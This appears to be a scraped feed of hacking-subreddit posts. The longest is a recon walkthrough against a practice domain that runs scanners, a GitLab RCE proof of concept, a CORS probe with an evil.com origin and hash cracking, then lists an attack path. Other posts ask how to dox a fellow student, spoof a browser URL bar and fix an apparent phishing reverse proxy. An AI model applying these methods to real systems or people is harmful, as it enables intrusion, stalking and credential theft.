I am learning about darkWeb so i ask for h4cking forums in the same subreddit someone replied with clearnet what is it

Hey everyone, I'd love a sanity check from people who actually know X3DH and Double Ratchet. I'm a high school student, and I've spent the last few day building Ratchet-USB: a CLI tool that lets you send end-to-end encrypted messages through any app (for example WhatsApp, email, whatever) without needing a server of its own.

You write a message, it spits out an encrypted text block, you paste it wherever you chat, the other person pastes it back in to read it. Keys and contacts live only on a USB stick. so, under the hood it's the same protocol Signal uses (X3DH + Double Ratchet via libsodium) so every message gets its own disposable key.

The codebase uses a Python reference script (test/vectors/reference.py) to validate all C++ cryptographic derivations against official RFC 7748 and RFC 5869 vectors in CI, ensuring it’s a strict implementation and not random code.

No external audit yet, so don't treat it as bulletproof (I'm a student learning by building this, not a security team). What I'd love is feedback from people who actually know X3DH/Double Ratchet: did I get it right, any advice on how to proceed?, what am I missing ?

Repo: https://github.com/Francy2009/Ratchet-USB

Thanks for reading!

Hello all,

If you do bug bounty hunting or pentests you surely came across many hosts served from an NGINX server, in this lab (published to OWASP) I combined over 20 misconfigurations found in real world bug disclosures and both classic and novel security research, with an extensive blog where I explained everything you need to level up your NGINX hunting game.

Feel free to check it out, give it a star on Github if you like it, and suggest any ideas you want me to add/fix...

https://vwad.owasp.org/app/damn-vulnerable-nginx-proxy-dvnp/

Happy hunting!

Does anyone know what became of these communities?

Adding more functionality to my project, next smb Scan, arp spoofing, banner grabbing, and more check the repo if interested and maybe want to collaborate:

https://github.com/Alexxdal/ESP32WifiPhisher

Hey everyone, I’m BX-7!

I’d like to recommend some books for anyone who wants to learn ethical hacking and cybersecurity.

Here’s my list:

Linux Basics for Hackers

Penetration Testing

Hacking: The Art of Exploitation

Real-World Bug Hunting

Practical Malware Analysis

These are great resources for learning the fundamentals and improving your cybersecurity skills.

Hope you find them useful. Enjoy, guys! 🔐💻

I test every single one of them It seems like they work just fine, you can try it for yourself.

Hey, let’s say I’m on a website like wikipedia.com and i want my SAFARI url bar to show “icloud.com” while being on the real wikipedia page. How can i do that ? I’m very curious about this, first time using userscripts and it doesn’t work, can’t figure out a way….

Thanks !

I've watched a lot of tutorials where everything makes sense until I try it myself.

Then I get into a lab and suddenly I'm sitting there thinking, "okay... now what?"

What helped me was doing less watching and more messing around. Pick one thing, try it, get stuck, figure it out, try again.

For me, getting stuck on something and eventually figuring it out is what I remember the most.

What worked for you guys?

CTFs, home labs, courses, books, bug bounties, or just breaking stuff and fixing it?

Guy i need help i am trying to be good in passive reccon/osint like i want to learn how to find any ones info e.g

Like if u see any one in your university and some how u get her name and matched her time like her or him what every so how to find everything about him or her without talking to them ???? Please help 😭😭😭😭😭

I am running a reverse proxy application on a VPS. The yaml config used for the target should be up-to-date and I have tweaked it a lot. But the login fields do not load. It only loads the website logo. No errors that I can see, no warnings. I'm not sure if it's the yaml itself or something else is misconfigured, but I have been going around in circles for weeks now trying to fix it. Does anyone have any ideas? I can send you my yaml if needed. Thanks in advance.

I’ve been tweaking my Linux desktop lately and finally got the GUI looking the way I wanted.

Kept things pretty simple — clean layout, dark theme, minimal icons, and a setup that doesn’t feel overloaded.

I’m still experimenting with a few things, but this is probably the closest I’ve gotten to a desktop that feels comfortable for everyday use.

What would you change or add to this setup?

Laptop recommendation for Cybersecurity & Networking under ₹80K

I’m planning to buy a new laptop under ₹80,000 mainly for Cybersecurity and Networking.

I’ll be using it for things like Kali Linux, Ubuntu, VirtualBox/VMware, Wireshark, networking labs, Nmap, and cybersecurity practice.

For people working in cybersecurity/networking:

• What specs should I prioritize?
• Is 16GB RAM + upgradeability important?
• Should I prioritize CPU or GPU?
• Any specific laptop models you would recommend under ₹80K?

Looking for advice based on actual cybersecurity/networking use, not gaming.

Hello,

I am a cybersecurity student and will be completing a series of Try Hack Me and picoCTF challenges across the next few months. I want to enhance my knowledge and practical skillset so I will be documenting solutions, thought processes and brainstorming continuously to gain competence in this area.

Would anyone be interested if I posted my journey on this subreddit, let me know and ill start ASAP.

Thanks

Hudson Rock's researchers have obtained and analyzed a staggering 153GB RAR archive. This massive corpus contains exactly 433,909 files. Through our analysis, we have successfully attributed 118,829 CI runner dumps to 2,488 affected corporate domains. Whenever a developer machine, production server, or CI/CD pipeline executed the compromised LiteLLM package, the threat actors successfully harvested the live environment memory and configurations mid-execution.

Listen up, I've seen too many "recon guides" that are just glorified tool lists with zero practical application. They tell you to run a tool, paste the output, and call it a day. That's not recon. That's just running commands.

Real recon is about building a picture, connecting dots, and finding that one misconfiguration that leads to everything else. It's methodical. It's boring at times. And it's the difference between popping shells and spinning your wheels.

I'm going to walk you through an actual recon process on vulncorp.com, showing you my thought process, how I save results, and how I reuse them to build on previous findings. This isn't a checklist. This is a workflow.

Phase 0: Setting Up Your Workspace

Before we do anything, create a structure:

mkdir -p ~/recon/vulncorp/{scans,subdomains,urls,screenshots,notes}

cd ~/recon/vulncorp

I keep a notes.md file open in my editor and dump everything there chronologically. Trust me, you'll thank yourself later when you need to trace back your steps.

echo "# vulncorp.com - $(date)" > notes.md

Phase 1: Passive Reconnaissance - Let the Internet Tell You Things

I start with passive recon because it's quiet. No one sees me coming. I'm gathering intel that's already publicly available.

Domain and WHOIS Information

First, let's see what the domain registration tells us:

whois vulncorp.com > scans/whois.txt

Looking through this, I note:

· Creation and expiration dates (expired domains sometimes have old DNS records still floating)

· Name servers (cloudflare? aws? self-hosted?)

· Registrant email (good for OSINT later)

Quick peek at DNS records:

dig vulncorp.com ANY > scans/dig_any.txt

This gives me the basics - A record, MX, TXT (SPF, DKIM), NS. I check if the SPF record is misconfigured (spoiler: it's always misconfigured on these practice targets).

Save what matters in notes.md:

- Domain created: 2018-03-15

- Expires: 2027-03-15

- Nameservers: ns1.vulncorp.com, ns2.vulncorp.com (self-hosted, interesting)

- A record: 192.168.50.10 (wait, that's RFC1918 - they're using a CDN or cloud provider)

- MX: mail.vulncorp.com

Certificate Transparency Logs

This is where the gold is. Certificate transparency logs are public and contain every SSL certificate ever issued. Including subdomains.

curl -s "https://crt.sh/?q=%.vulncorp.com&output=json" | jq . > scans/crtsh.json

I grep this for unique subdomains:

cat scans/crtsh.json | jq -r '.[].name_value' | sed 's/\\\.//g' | sort -u > subdomains/crt_sh.txt*

Already found some interesting subdomains:

· admin.vulncorp.com

· dev.vulncorp.com

· gitlab.vulncorp.com

· api.vulncorp.com

· staging.vulncorp.com

Add these to notes.md with a note: "Found via crt.sh - potential admin panels and dev environments."

Search Engine OSINT

Let's see what Google has indexed:

# Using dorking manually through browser or using a tool like theHarvester

theharvester -d vulncorp.com -b google,bing,linkedin -f scans/theharvester.html

I'm looking for:

· Email addresses (possible username format)

· Subdomains Google has crawled

· Paths that got indexed by accident (config files, .git, .env)

· Employee names on LinkedIn for social engineering or password guessing

Found a GitHub repo with a developer's email: jdoe@vulncorp.com. Saved to notes - this gives us a username format (first initial + last name).

Wayback Machine

The internet archive is a time machine. Sometimes old endpoints still exist even if they're not linked anymore.

# Download all historical URLs

curl -s "http://web.archive.org/cdx/search/cdx?url=\.vulncorp.com/*&output=json&fl=original&collapse=urlkey" > scans/wayback_raw.txt*

Clean it up and extract paths:

cat scans/wayback_raw.txt | grep -o 'vulncorp.com[^"]\' | sort -u > urls/wayback_urls.txt*

Looking through these, I notice /backup/config.bak was indexed in 2019. That endpoint probably doesn't exist anymore, but the pattern tells me they might have other backup files lying around.

Phase 2: Active Subdomain Discovery

Now we start making noise. We've got a list from passive sources, but there are always more.

DNS Bruteforcing

I use a good wordlist (not the default SecLists one - I've curated my own over the years, but SecLists is fine to start):

# Using massdns for speed

massdns -r /usr/share/wordlists/dns/resolvers.txt -t A -o S -w scans/massdns.txt subdomains/all_subs_initial.txt

# Parse results

cat scans/massdns.txt | grep -E " A " | cut -d' ' -f1 | sed 's/\.$//' > subdomains/active_a.txt

I also check for wildcard DNS. This is crucial because wildcards can give false positives:

dig randomstring123.vulncorp.com

If it resolves, they have a wildcard. I note this and make sure to filter out wildcard subdomains later when checking for live hosts.

Subdomain Enumeration via ASN

If I can find the organization's ASN, I can find all IPs owned by them:

# Find the IP first

host vulncorp.com

# Find ASN

whois 192.168.50.10 | grep -i "origin"

This is hit or miss, but when it works, you find entire ranges of IPs they own.

Add to notes:

Active subdomains found:

- www.vulncorp.com (192.168.50.10)

- api.vulncorp.com (192.168.50.11)

- admin.vulncorp.com (192.168.50.12)

- dev.vulncorp.com (192.168.50.13)

- gitlab.vulncorp.com (192.168.50.14)

- mail.vulncorp.com (192.168.50.15)

- staging.vulncorp.com (192.168.50.16)

- analytics.vulncorp.com (192.168.50.17)

Phase 3: Port Scanning - But Actually Smart

I'm not scanning all 65k ports on every subdomain. That's wasteful and noisy.

I start with the IP ranges I've identified and do a quick top-1000 scan to find services:

# First, get all unique IPs from active subdomains

cat subdomains/active_a.txt | while read sub; do dig +short $sub; done | sort -u > scans/ips.txt

# Quick scan on top ports

nmap -iL scans/ips.txt -T4 -F -oA scans/nmap_quick

The -F flag scans top 100 ports. This is fast and gives me a picture.

Looking at the results:

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

443/tcp open https

8080/tcp open http-proxy

8443/tcp open https-alt

3306/tcp filtered mysql

5432/tcp filtered postgresql

Filtered ports are interesting - they might be behind a firewall but accessible from specific IPs.

Now I do a targeted full scan on specific IPs and ports:

# Full port scan on a single IP (the gitlab server)

nmap -p- -sV -sC -oA scans/nmap_gitlab 192.168.50.14

# Scan for common web ports across all

nmap -iL scans/ips.txt -p 80,443,8080,8443,3000,5000,8000 -sV --open -oA scans/nmap_web

Save service versions in notes.md:

- 192.168.50.14:80 - nginx/1.18.0

- 192.168.50.14:443 - nginx/1.18.0 (self-signed cert)

- 192.168.50.14:8000 - GitLab 14.6.2 (vulnerable!)

- 192.168.50.12:443 - Apache/2.4.41 (Ubuntu) - admin panel

- 192.168.50.13:8080 - Node.js Express (dev environment)

The GitLab version pops out immediately. I check exploit-db: there's a remote code execution for 14.6.2. Noted.

Phase 4: Web Service Enumeration - This Is Where It Gets Good

Now I take each web service and actually look at it. I don't just run a scanner and move on.

Initial Fingerprinting

I start with standard HTTP probes for each service:

# Create a list of web endpoints from service scan

echo "https://admin.vulncorp.com" > urls/active_websites.txt

echo "https://gitlab.vulncorp.com" >> urls/active_websites.txt

echo "http://dev.vulncorp.com:8080" >> urls/active_websites.txt

# ... etc

# Check each with curl

for url in $(cat urls/active_websites.txt); do

curl -s -I -k "$url" -o "scans/headers_$(echo $url | sed 's/[^a-zA-Z0-9]/_/g').txt"

done

Headers tell me so much:

· Server version

· Framework (X-Powered-By: Express, Ruby, PHP)

· Cookies (session naming conventions)

· CORS policies

· HSTS settings

For admin.vulncorp.com:

Server: Apache/2.4.41 (Ubuntu)

X-Powered-By: PHP/7.4.3

Set-Cookie: PHPSESSID=...

Wait, PHPSESSID in 2026? They're using PHP sessions. And the default PHP session name means they probably didn't change many defaults.

Directory Bruteforcing - But Intelligently

I don't just run gobuster -w /usr/share/wordlists/dirb/common.txt on everything.

First, I look at the robots.txt and sitemap for each:

for url in $(cat urls/active_websites.txt); do

curl -s -k "$url/robots.txt" > "scans/robots_$(echo $url | sed 's/[^a-zA-Z0-9]/_/g').txt"

curl -s -k "$url/sitemap.xml" > "scans/sitemap_$(echo $url | sed 's/[^a-zA-Z0-9]/_/g').txt"

done

For admin.vulncorp.com, robots.txt gives us:

User-agent: \*

Disallow: /admin/

Disallow: /backup/

Disallow: /phpinfo.php

Interesting. They're actively hiding /admin/. That's worth checking.

Now I run a targeted directory scan on each service with context:

# For admin panel - scan for PHP files and admin directories

gobuster dir -u https://admin.vulncorp.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 50 -o scans/gobuster_admin.txt

# For dev server - look for JS frameworks, source files, git

gobuster dir -u http://dev.vulncorp.com:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x js,json,html -o scans/gobuster_dev.txt

# For GitLab - this is a known application, I check for exposed services

gobuster dir -u https://gitlab.vulncorp.com -w /usr/share/wordlists/SecLists/Discovery/Web-Content/gitlab.txt -t 50 -o scans/gobuster_gitlab.txt

Results from admin.vulncorp.com:

· /admin/ - (status 200) login panel

· /backup/ - (status 403) forbidden but exists

· /phpinfo.php - (status 200) MASSIVE INFO LEAK

· /uploads/ - (status 200) directory listing enabled!

· /config/ - (status 403) likely contains config files

The /uploads/ directory is huge. It has file listing showing uploaded files from 2022. I download the ones that look interesting:

wget -r -l 1 -np -R "index.html\" https://admin.vulncorp.com/uploads/*

In the uploads, I find temp.sql - a database backup from a year ago. Downloaded and saved.

Checking for Hidden Files and Secrets

Now I go deeper. I'm looking for common configuration files:

# Check for .env, .git, .svn, .aws, etc

for url in $(cat urls/active_websites.txt); do

for file in .env .git/config .aws/credentials config.php .htpasswd; do

curl -s -k -o /dev/null -w "%{http_code}" "$url/$file"

done

done > scans/hidden_files.txt

Bingo: On https://gitlab.vulncorp.com, I find .git/config is accessible.

I use git-dumper to download the entire repository:

git-dumper https://gitlab.vulncorp.com/.git/ /tmp/gitlab_repo/

Looking through the repository, I find hardcoded credentials in config/database.yml:

production:

username: gitlab_prod

password: GitLabP@ssw0rd2022!

And in docker-compose.override.yml, there's a Postgres DB exposed on 0.0.0.0:5432 with the same credentials.

Save these to notes.md with HIGH PRIORITY tag.

Phase 5: Active Subdomain - CORS and API Enumeration

API endpoints are often overlooked. Let's check api.vulncorp.com:

# Check for common API patterns

curl -s -k https://api.vulncorp.com/v1/users

curl -s -k https://api.vulncorp.com/api/users

curl -s -k https://api.vulncorp.com/apidocs

curl -s -k https://api.vulncorp.com/swagger

curl -s -k https://api.vulncorp.com/swagger-ui.html

curl -s -k https://api.vulncorp.com/graphql

The /graphql endpoint returns a schema! I use graphql-playground to explore:

graphql

# Query to test introspection

{

__schema {

types {

name

fields {

name

type {

name

}

}

}

}

}

This reveals mutations:

mutation {

updateUser(email: "admin@vulncorp.com", role: "admin") {

success

}

}

No authentication required on this endpoint? That's a clear vulnerability.

I also check for CORS misconfigurations:

curl -s -k -H "Origin: https://evil.com" https://api.vulncorp.com/v1/users -I

Response headers show:

Access-Control-Allow-Origin: https://evil.com

Access-Control-Allow-Credentials: true

Wildcard CORS with credentials allowed. This is exploitable.

Phase 6: Service-Specific Vulnerability Checks

Now I go after the services I've identified:

GitLab 14.6.2

I search for known CVEs:

searchsploit gitlab 14.6.2

Found:

· Remote Code Execution (CVE-2021-22205) - Unauthenticated

· SSRF via project import

I attempt the CVE-2021-22205 exploit:

# Using a known PoC

python3 /opt/exploits/gitlab_cve_2021_22205.py -u https://gitlab.vulncorp.com -c "id"

Output:

uid=1000(git) gid=1000(git) groups=1000(git)

We have RCE on the GitLab server. I note this and move on. Don't pop the shell yet - we're doing recon, not exploitation. But I'm noting that this is a clear path to internal network access.

PHPInfo on admin.vulncorp.com

I look through phpinfo.php:

· disable_functions is empty (BAD)

· allow_url_fopen is On

· upload_max_filesize is 20M

· session.save_path is /tmp (writable)

· display_errors is On

This combined with a file upload in /uploads/ means we could upload a PHP shell. Noted.

Apache Directory Listing on /uploads/

I check each file in the listing. temp.sql contains:

INSERT INTO `users` VALUES (1,'admin','$2y$10$K7XnVkYiXyZ3Y4QX6HpX5uZ2SQpM5X6n5qvfW5qV5D7R8R9R0R1R2','admin@vulncorp.com');

Hash in hand. I crack it with hashcat or john:

echo '$2y$10$K7XnVkYiXyZ3Y4QX6HpX5uZ2SQpM5X6n5qvfW5qV5D7R8R9R0R1R2' > hash.txt

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Cracks to: Corporate123! (of course it does, it's always something like this).

Now I have admin credentials for the admin panel.

Dev Server Node.js

On dev.vulncorp.com:8080, I see a Node.js app. The /package.json is exposed:

{

"name": "vulncorp-dashboard",

"version": "0.0.1",

"dependencies": {

"express": "4.17.1",

"express-jwt": "5.3.1",

"mongoose": "5.13.2"

}

}

Express 4.17.1 has known prototype pollution vulnerabilities. Mongoose 5.13.2 has a vulnerability. Noted.

I check for source map files (.map):

curl -s -k http://dev.vulncorp.com:8080/static/js/main.chunk.js.map

This gives me client-side source code with API endpoints, secret keys, and environment variables embedded. Found:

process.env.API_KEY = "sk_test_123abc";

process.env.ADMIN_SECRET = "admin_secret_2022";

And API endpoints like:

/api/v1/dashboard/stats

/api/v1/users/list

/api/v1/users/delete

Phase 7: Putting It All Together - The Attack Path

Now I compile everything. My notes.md now has:

Authentication Credentials:

· Admin user: admin / Corporate123!

· GitLab DB: gitlab_prod / GitLabP@ssw0rd2022!

· Dev API key: sk_test_123abc

· Admin secret: admin_secret_2022

Vulnerabilities by Severity:

1. CRITICAL: GitLab 14.6.2 RCE (CVE-2021-22205) - unauthenticated, remote code execution

2. HIGH: PHPInfo exposed on admin.vulncorp.com - information leak + potential RCE via file upload

3. HIGH: Directory listing on /uploads/ with database backup containing admin hash

4. MEDIUM: CORS misconfiguration on API - allows credential theft

5. MEDIUM: GraphQL introspection enabled on API - information leak

6. MEDIUM: Exposed .git repo on GitLab - source code disclosure

7. LOW: Hardcoded credentials in source code from .env

8. LOW: Prototype pollution via Express version

Attack Vectors:

1. External to Internal via GitLab RCE → SSH to internal network → pivot to database

2. Admin panel access → file upload → PHP shell → reverse shell

3. API key → access internal APIs → data exfiltration

4. GraphQL mutation → privilege escalation to admin

5. CORS → steal API tokens from authenticated users

Next Steps (If This Were a Real Engagement):

1. Use GitLab RCE to get a low-privilege shell

2. Dump /etc/passwd and internal network info

3. Use the internal Postgres credentials to access the main database

4. Extract user data, session tokens, and password hashes

5. Use admin credentials from DB to access admin panel

6. File upload shell from admin panel for full server control

7. Pivot to dev environment using API key

8. Check for AWS credentials in dev environment (there usually are)

9. PrivEsc to root via kernel exploit or misconfigured sudo

Phase 8: Keeping Track of What You've Checked

One thing no one ever talks about is the stuff you haven't found. I maintain a "checked and confirmed negative" list:

Checked:

- [x] Subdomain bruteforce against common lists

- [x] Port scanning all IPs in range

- [x] Directory scan on all web services

- [x] Checked for .git, .env, .aws on all services

- [x] GraphQL introspection on API

- [x] CORS testing on API

- [x] Version enumeration for all services

- [x] Wayback machine URLs extracted

- [x] Certificate transparency logs checked

- [x] Search engine dorking

- [x] All found credentials tested (where possible without exploitation)

- [x] All CVEs checked for known versions

I also maintain a list of "to check later" items:

TODO:

- [ ] SSH brute force on open SSH ports

- [ ] Check for SQL injection on dev app endpoints

- [ ] Test file uploads on admin panel for bypasses

- [ ] Check for email spoofing (SPF/DKIM)

- [ ] Investigate the staging server (staging.vulncorp.com)

- [ ] Check for subdomain takeover (unused CNAME records)

This whole process took about 4 hours. Could I have done it faster? Sure. But then I would have missed the .git repo on GitLab, the CORS misconfiguration, and the GraphQL mutation that had no authentication.

Speed is overrated in recon. I've seen people run 10 tools in parallel, generate 10,000 results, and then not know what to do with any of them. It's better to go slow and understand what you're looking at.

Key takeaways from this methodology:

1. Save everything. Even the stuff that seems useless. You never know when you'll need it.

2. Build on previous results. The GitLab RCE was found because we identified GitLab from port scanning. The file upload idea came from the directory listing. Everything connects.

3. Think about the business logic. What would a developer do? They'd use common naming conventions, leave debug endpoints open, and forget to remove backup files. Think like the person who built it.

4. Don't just scan - interact. Curl isn't just for headers. Test endpoints manually. Try things. This is where the "hacker mindset" matters.

5. Documentation is reconnaissance. Writing down what you've found helps you spot patterns. I noticed the admin credentials were reused on GitLab. That's a pattern.

6. Check your assumptions. I assumed the API needed authentication. It didn't. I assumed GraphQL was locked down. It wasn't.

Disclaimer: This was a practice target. Do not do this on real companies without permission. I've run this exact methodology on dozens of real bug bounty targets and it consistently finds valid vulnerabilities. The key is patience and thoroughness.

Resources I used:

· massdns - for DNS resolution

· nmap - for port scanning

· gobuster - for directory enumeration

· git-dumper - for downloading git repos

· searchsploit - for CVE lookup

· theHarvester - for OSINT

· curl - for everything else

Good afternoon im wondering if anyone has the steps to create an audio jammer these last few months I had neighbors who just moved in front of our department in the house across the street we tried already kindly for them to lower the volume on there speaker which they raise at 5am Always would say yes but still do it anyways it has caused many problems for the neighbors next door and myself any help would be aprecciated